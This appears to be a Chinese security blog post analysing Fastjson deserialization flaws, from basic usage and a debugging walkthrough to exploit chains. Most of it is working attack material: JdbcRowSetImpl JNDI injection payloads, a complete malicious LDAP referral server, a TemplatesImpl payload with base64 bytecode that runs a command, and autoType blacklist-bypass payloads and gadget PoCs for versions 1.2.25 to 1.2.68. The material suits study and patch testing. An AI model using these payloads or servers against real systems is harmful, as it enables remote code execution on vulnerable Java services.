FastJson反序列化

相关链接:

https://goodapple.top/archives/832

https://yyjccc.github.io/2024/04/27/fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87/

前置知识

首先需要介绍一下fastjson的相关知识,fastjson主要通过将一个json格式的文件转为一个java的对象,或者将一个java对象转为一个json格式的对象,但是这里的转化是需要满足一定条件,不是所有的对象都可以直接转为json格式,其中转化的过程就是通过序列化和反序列化,当然这个就与原生的jdk版本没有太多关联,这个属于插件存在的漏洞

导入依赖

1
2
3
4
5
 <dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.22</version> <!-- 请根据需要选择合适的版本 -->
</dependency>

Fastjson的一般用法

在fastjson进行转换时,必须需要类有一个无参构造方法,最好是通过java bean的格式进行书写,因为如果不是满足java bean则在对json反序列化为对象时可能会出现赋值问题,如果是private或者protected的属性就无法直接进行赋值给反序列化的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class demo1 {
public String name=null;
protected int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
public class test {
public static void main(String[] args) {
demo1 aa=new demo1();
//序列化
String text = JSON.toJSONString(aa);
System.out.println(text);
//反序列化
demo1 a=JSON.parseObject("{\"age\":18,\"name\":\"ccc\"}", demo1.class);
System.out.println(a.getAge()+" "+a.getName());
}
}

如果反序列化没有指定为哪个类这里就会默认为一个JSONObjetct类

1
2
3
4
5
public static void main(String[] args) {
//反序列化
JSONObject a=JSON.parseObject("{\"age\":18,\"name\":\"ccc\"}");
System.out.println(a.get("age"));
}

这里还有一种方式来进行指定类的类型,通过在序列化时在toJSONString中添加一个SerializerFeature.WriteClassName属性来进行指定,这个是有fastjson版本限制

1
2
3
4
5
6
7
8
9
public static void main(String[] args) {
//序列化
demo1 aa = new demo1();
String json = JSON.toJSONString(aa, SerializerFeature.WriteClassName);
System.out.println(json);
//反序列化
Object aa1 = JSON.parse(json);
System.out.println(aa1.getClass().getName());
}

Fastjson调用流程简单分析

序列化

先是序列化,这里先思考一个问题,属性值是如何获取的属性值的

这里就分为有无getter,如果没有getter方法,它就无法直接获取private属性或者protected属性,如果为public属性它就会看是否赋初始值,如果没有就表示默认值

如果有通过就是通过getter方法来进行获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class demo1 {
public String name="aaa";
private int age=10;
public int getAge() {
return 1000;
}
public void setAge(int age) {
this.age = age;
}
public String getName() {
return "zzz";
}
public void setName(String name) {
this.name = name;
}
public String echo() {
return "echo"+this.age+" "+this.name;
}
}

这里也是体现了它以getter方法调用优先

反序列化

这里知道序列化的规则,反序列化也是一样

如果没有@type标识的情况下,它就默认为JSONObject,但是如果设置了@type属性又会如何进行实例化一个对象呢

它会先调用构造器,然后通过setter方法来进行对对象进行赋值操作

调试分析 反序列化

这里先调试parseObject方法

这里跟进去,嵌套了几个parse方法,最后到达DefaultJSONParser的parse方法

跟进到处理左括号这里,进入parseObject来看看它处理json格式字符串的方法,这里就以获取第一个属性为例子,这里它通过scanSymbol方法来获取两个引号之间的字段,其它的字段也是一样

这里跳一下,主要看解析完这个json字符串,它是如何来创建对象的

这里先是获取上述解析出来的信息,然后会进行一次类加载,看看clazz里面有哪些东西

下面就是通过判断是否该类为一个特殊的类,从默认加载器里面进行寻找,如果都没有才会直接进行类加载

最后就是反序列化,序列化里面创建了一份黑名单Thread类

最后在JavaBeanInfo的build方法里面反射获取setter和getter方法,这里通过特定的条件来进行寻找

1
2
3
4
方法名长度大于4且以set开头,且第四个字母要是大写
非静态方法
返回类型为void或当前类
参数个数为1

反序列化漏洞形成

简单的反序列化

在上述的描述下如果在反序列化一个属性值时它会通过调用setter方法来对其进行赋值操作,如果创建一个恶意的set方法这里就可以使其在赋值时调用方法触发恶意代码

恶意的set方法,执行成功

1
2
3
4
5
public void setAge(int age) throws Exception{
System.out.println("setter触发");
Runtime.getRuntime().exec("calc");
this.age = age;
}

Fastjson<=1.2.24利用链

这里为什么要以1.2.24为分界,主要因为在Fastjson<=1.2.24的版本里面可以通过@type来进行指定对应的类进行加载

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以结合JNDI的攻击手法进行利用。是通用性最强的利用方式,在以下三种反序列化中均可使用,JDK版本限制和JNDI类似主要通过fastjson来触发jndi

1
2
3
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

这里先看看它是如何联系jndi的,这里是由于JdbcRowSetImpl的connect方法里面调用了lookup方法,所以如果我们可以走到这里就可以成功触发

RMI+JNDI

利用的链子

1
2
3
4
5
6
7
8
9
10
public class test {
public static void main(String[] args) {
//序列化
demo1 aa = new demo1();
String json = JSON.toJSONString(aa, SerializerFeature.WriteClassName);
// System.out.println(json);
//反序列化
Object aa1 = JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/luokuang\",\"autoCommit\":true}");
}
}

恶意服务器

1
2
3
4
5
6
7
8
9
public class server {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test","test","http://127.0.0.1:9000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/luokuang",refObjWrapper);
System.out.println("Registry运行中......");
}
}

LDAP+JNDI

ldap协议恶意服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
public class LDAP {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:9000/#test"};
int port = 9999;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

客户端

1
2
3
4
5
6
7
8
public static void main(String[] args) {
//序列化
demo1 aa = new demo1();
String json = JSON.toJSONString(aa, SerializerFeature.WriteClassName);
// System.out.println(json);
//反序列化
Object aa1 = JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/test\",\"autoCommit\":true}");
}

成功触发

调用流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:627, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:10, Fastjson_Jdbc_LDAP

TemplatesImpl利用链

TemplatesImpl类在cc链里面就有用到,主要的利用方法就是通过它的defineClass方法来实现动态类加载,而想让它调用到defineClass方法就需要从getOutputProperties方法入手

静态的去看吧,在getOutputProperties方法里面调用了newTransformer方法

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

在newTransformer里面又调用了getTransletInstance方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

getTransletInstance方法里面又继续调用了defineTransletClasses方法最后到达defineClass

下面来分析一下需要满足的条件首先在getTransletInstance方法里面需要满足 _name!=null,_class=null

下面在newTransformer里面的if判断里面需要保证_tfactory有值,像cc链里面一样

1
2
3
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}

这里还有一个小问题,我们传入的_bytecodes为bytes类型,而Fastjson在解析的时候会将bytes类型进行base64加密,解密的过程相反。所以这里我们需要将恶意类的字节码base64加密

最后来构造payload

1
2
3
4
5
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}

Fastjson高版本绕过

补丁分析

1.2.25-1.2.41补丁

这里主要看到创建对象时的代码逻辑进行了什么修改

和以前的进行对比一下,这里多加了一个checkAutoType方法这里不再是直接类加载了

单独看看checkAutoType方法里面是如何waf的

首先里面就是一个if,if里面的内容就是老版本的代码逻辑,if判断里面有两个属性,一个为autoTypeSupport默认为false,expectClass也是默认传入的为null,所以这里就有两个路走一个为autoTypeSupport为true或者false,autoTypeSupport代表白名单,我们可以手动设置为true

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); 

但是如果直接手动改为true也没有办法加载到恶意类,这里可以跟进去看看,里面是否修改了什么

这里主要看TypeUtils的loadClass方法

这里首先去掉 [ ]再判断是否满足类名开头为L,结尾为; 满足就去掉首尾再继续类加载,对于去掉 [ ]是因为在进入for之前它会判断一次长度,即默认只有数组才可以走到这里

下一个for里面主要是过滤黑名单

1.2.42补丁

这里主要对上面进行了补充

1
2
3
黑名单改为了hash值,防止绕过;

对于传入的类名,删除开头L和结尾的;

还是看checkAutoType方法里面又添加了什么东西,前面还是没有什么变化

后面就开始添加一些规则,如果满足if条件就去掉第一个字符和最后一个字符,再继续进行下一步

下一步就是进行运算,这里应该就是通过运算来判断其是否为黑名单

1.2.43补丁

这里就在上面的版本里面又去除了前面两个字符为LL的情况

ParseConfig的checkAutoType方法里面除了前面两个字符为LL的情况

1
2
3
4
5
6
7
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}

className = className.substring(1, className.length() - 1);
}
1.2.47补丁

在1.2.47的版本里面可以通过引入了一个mapping缓存,从而实现任意类加载,这个方法并不是1.2.47版本才有,是针对ParserConfig的checkAutoType方法都有,主要绕过通过将恶意类先写入mapping缓存中从而绕过异常的抛出

1.2.48补丁

并将java.lang.Class类放入了黑名单,这样彻底封死了从mapping中加载恶意类

由于上面进行分析,在开启AutoType和未开启是两个不同的代码逻辑,所以这里需要分别考虑

设置AutoType 默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);

之后的payload 有些需要开启AutoType

漏洞利用

低于1.2.47版本的补丁通杀绕过
1
2
1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

这里通过JdbcRowSetImpl+ldap来进行举例,其它也是差不多

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
" \"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\n" +
" \"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"DataSourceName\":\"ldap://127.0.0.1:9999/test\",\n" +
" \"AutoCommit\":false\n" +
" }\n" +
"}";
JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}

这里的绕过方法是通过先通过白名单java.lang.Class,这里会获取到MiscCodec类,再调用deserialze方法,里面会对一个参数val的赋值操作,最后再通再TypeUtils.loadClass来进行类加载

调用的流程分析

这里先走到DefaultJSONParser的parseObject方法,到方法的最后面调用了deserialize方法,这里的deserializer属性为MiscCodec类,所以下一步就会进入到MiscCodec的deserialze方法进行分析

这里先判断键是否为val,然后就赋值给odjVal属性

最后odjVal属性赋值给strVal

最后走到TypeUtils.loadClass来进行类加载strVal属性

1.2.25-1.2.41补丁绕过

这个绕过是基于autoTypeSupport为true的情况下白名单绕过,通过多加一个L和;绕过

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String aaa= "{"+
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/test\", " +
"\"autoCommit\":true"
+"}";
JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}
1.2.42补丁绕过

这个绕过是基于autoTypeSupport为true的情况下白名单绕过,通过多加一个LL和;;绕过

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String aaa= "{"+
"\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/test\", " +
"\"autoCommit\":true"
+"}";
JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}
1.2.43补丁绕过

可以通过[{绕过,Payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://localhost:1399/Exploit",
"autoCommit":true
}
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String aaa= "{"+
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/test\", " +
"\"autoCommit\":true"
+"}";
JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}
1.2.45补丁绕过

1.2.45版本添加了一些黑名单,但是存在组件漏洞,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>

payload

1
2
3
4
5
6
7
8
9
10
11
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String aaa="{\n" +
" \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
" \"properties\":{\n" +
" \"data_source\":\"ldap://127.0.0.1:9999/test\"\n" +
" }\n" +
"}";
JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}
1.2.62-1.2.68版本

1.2.62

1
2
3
需要开启AutoType;
JNDI注入利用所受的JDK版本限制;
目标服务端需要存在xbean-reflect包

所需要的依赖

1
2
3
4
5
<dependency>  
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>

poc

1
2
3
4
5
6
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String aaa="{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:9999/test\"}";
JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}

这里主要看JndiConverter如何触发jndi

在JndiConverter的toObjectImpl方法里面有lookup,接下来就是看哪里调用了这个方法

在它的父类AbstractConverter的setAsText方法里面的toObject方法里面调用了

所以只需要上传AsText属性就可以调用该方法,所以最后的payload就可以有了

1
2
3
4
5
6
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String aaa="{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:9999/test\"}";
JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}

1.2.66

1
2
3
4
开启AutoType;
JNDI注入利用所受的JDK版本限制;
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类Poc:

1
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

org.apache.shiro.jndi.JndiObjectFactory类Poc:

1
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}
其他一些绕过黑名单的Gadget

这里补充下其他一些Gadget,可自行尝试。注意,均需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制

1.2.59

com.zaxxer.hikari.HikariConfig类Poc

1
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

1.2.61

org.apache.commons.proxy.provider.remoting.SessionBeanProvider类Poc:

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}

1.2.62

org.apache.cocoon.components.slide.impl.JMSContentInterceptor类Poc

1
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

1.2.68

org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类Poc

1
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.caucho.config.types.ResourceRef类Poc

1
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}